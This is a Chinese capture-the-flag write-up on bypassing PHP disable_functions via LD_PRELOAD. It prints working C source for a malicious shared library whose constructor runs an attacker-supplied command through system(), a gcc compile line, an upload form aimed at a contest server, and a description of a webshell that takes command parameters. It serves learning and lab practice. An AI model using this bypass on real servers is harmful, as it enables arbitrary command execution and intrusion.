校赛 白给的shell复现

参考该文章进行学习:https://www.freebuf.com/articles/web/192052.html

考察的是如何进行disable functions的绕过

源码是这样的,但是拿到shell却无法执行任何命令

然后看一下phpinfo

属于是把能用的函数都给禁用了

所以需要我们进行disable_funtions的绕过

这道题主要使用LD_PRELOAD的方法进行绕过

LD_PRELOAD是linux下的一个环境变量,我们可以上传自己的恶意so文件,也就是动态链接库,让该变量指向它,然后再进行库的调用的时候优先调用我们上传的so文件,达到触发并利用的效果

大致的步骤如下

  • 生成一个我们的恶意动态链接库文件
  • 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
  • 配合php的某个函数去触发我们的恶意动态链接库文件

可以利用gcc的__attribute__ ((constructor))

该函数会在main()函数执行前被执行,利用这个机制即可在执行正常的函数前先执行我们的命令

写一个恶意的c文件,并进行编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");

// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}

// executive command
system(cmdline);
}

使用该命令进行编译gcc -shared -fPIC t.c -o t.so

没有提供上传的功能,需要自己写一个上传表单进行上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<html>
<body>

<form action="http://39.96.12.202:40001/" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<input type="text" name="0" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>

</body>
</html>

即可看到恶意的so文件已经上传成功了

然后写一个shell.php的马上传到该目录下

这个php提供三个参数:

  • cmd 参数,待执行的系统命令(如 pwd)
  • outpath 参数,保存命令执行输出结果的文件路径(如 /tmp/xx),便于在页面上显示,另外关于该参数,你应注意 web 是否有读写权限、web 是否可跨目录访问、文件将被覆盖和删除等几点
  • sopath 参数,指定劫持系统函数的共享对象的绝对路径

以同样的方式上传后,即可进行任意命令执行

然后即可getflag